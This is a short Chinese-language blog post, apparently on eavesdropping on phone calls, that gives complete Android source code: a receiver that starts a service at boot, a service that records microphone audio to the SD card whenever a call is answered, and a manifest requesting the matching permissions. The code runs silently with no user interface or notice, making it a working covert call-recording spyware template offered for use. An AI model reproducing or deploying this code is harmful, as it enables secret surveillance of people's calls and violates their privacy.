废话少说,直奔主题~!

结构如图:

android 窃听电话

mybroad.java代码:

public class mybroad extends BroadcastReceiver {static final String ACTION = "android.intent.action.BOOT_COMPLETED";@Overridepublic void onReceive(Context context, Intent intent) {// TODO Auto-generated method stubif (intent.getAction().equals(ACTION)){Intent service = new Intent(context, MyService.class);    context.startService(service);Log.d("d", "服务已经开始");}}}

MyService.java代码:

public class MyService extends Service {@Overridepublic void onCreate() {// TODO Auto-generated method stubsuper.onCreate();Log.d("d", "进入服务");TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);    tm.listen(psl, PhoneStateListener.LISTEN_CALL_STATE);Log.d("d", "服务已启动");}PhoneStateListener psl = new PhoneStateListener() {private Boolean call_pd = false;private MediaRecorder mr;private String number;@Overridepublic void onCallStateChanged(int state, String incomingNumber) {// TODO Auto-generated method stub// super.onCallStateChanged(state, incomingNumber);switch (state) {case TelephonyManager.CALL_STATE_IDLE:number = null;if ( mr != null && call_pd) {mr.stop();mr.reset();mr.release();call_pd = false;}                Log.d("d", "录音结束");break;case TelephonyManager.CALL_STATE_OFFHOOK:try{mr = new MediaRecorder();mr.setAudioSource(MediaRecorder.AudioSource.MIC);mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);SimpleDateFormat format = new SimpleDateFormat("yyMMddHHmmss");//String fileName = this.number + "_"+ format.format(new Date());mr.setOutputFile("//sdcard//" + fileName + ".3gp");Log.d("d", Environment.getExternalStorageDirectory().getAbsolutePath() + "/" + fileName + ".3gp");mr.prepare();mr.start();Log.d("d", "开始接电话");call_pd = true;}catch(Exception ex){Log.d("d","有错误");}break;case TelephonyManager.CALL_STATE_RINGING:this.number = incomingNumber;Log.d("d", "电话进来");break;default:break;}}};@Overridepublic IBinder onBind(Intent arg0) {// TODO Auto-generated method stubreturn null;}}

AndroidManifest.xml代码:

<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"      package="Tel_Listener.Jason"      android:versionCode="1"      android:versionName="1.0">    <uses-sdk android:minSdkVersion="4" />    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission>    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"></uses-permission>    <uses-permission android:name="android.permission.RECORD_AUDIO"></uses-permission>    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission>    <uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission>        <application android:icon="@drawable/icon" android:label="@string/app_name">               <service android:name="MyService">        </service>        <receiver android:name="mybroad">         <intent-filter>                         <action android:name="android.intent.action.BOOT_COMPLETED"/>                <category android:name="android.intent.category.LAUNCHER"></category>         </intent-filter>        </receiver>     </application></manifest>

更多相关文章

  1. Android 颜色代码
  2. 在Eclipse 中关联android sdk 源代码
  3. 操作内存卡的常用代码
  4. android 根据SD卡中图片路径读取并显示SD中的图片——源代码
  5. android代码混淆及打包相关
  6. android 中生成XML文件的代码
  7. [置顶] [Android自定义控件]Android中如何用代码写出优美的Button
  8. recovery代码流程

随机推荐

  1. flex新闻客户端
  2. php facade与composer的使用
  3. 1.flex项目上的三个属性、2。移动商城
  4. 遇见目录无法访问怎么解决?
  5. 0329作业
  6. docker在windows下挂载mysql配置被忽略解
  7. promethues的一些概念
  8. Apache Spark 将支持 Stage 级别的资源控
  9. 苹果Mac强大的 wifi 管理器:WiFi Explorer
  10. HBase基础 | 图数据库HGraphDB介绍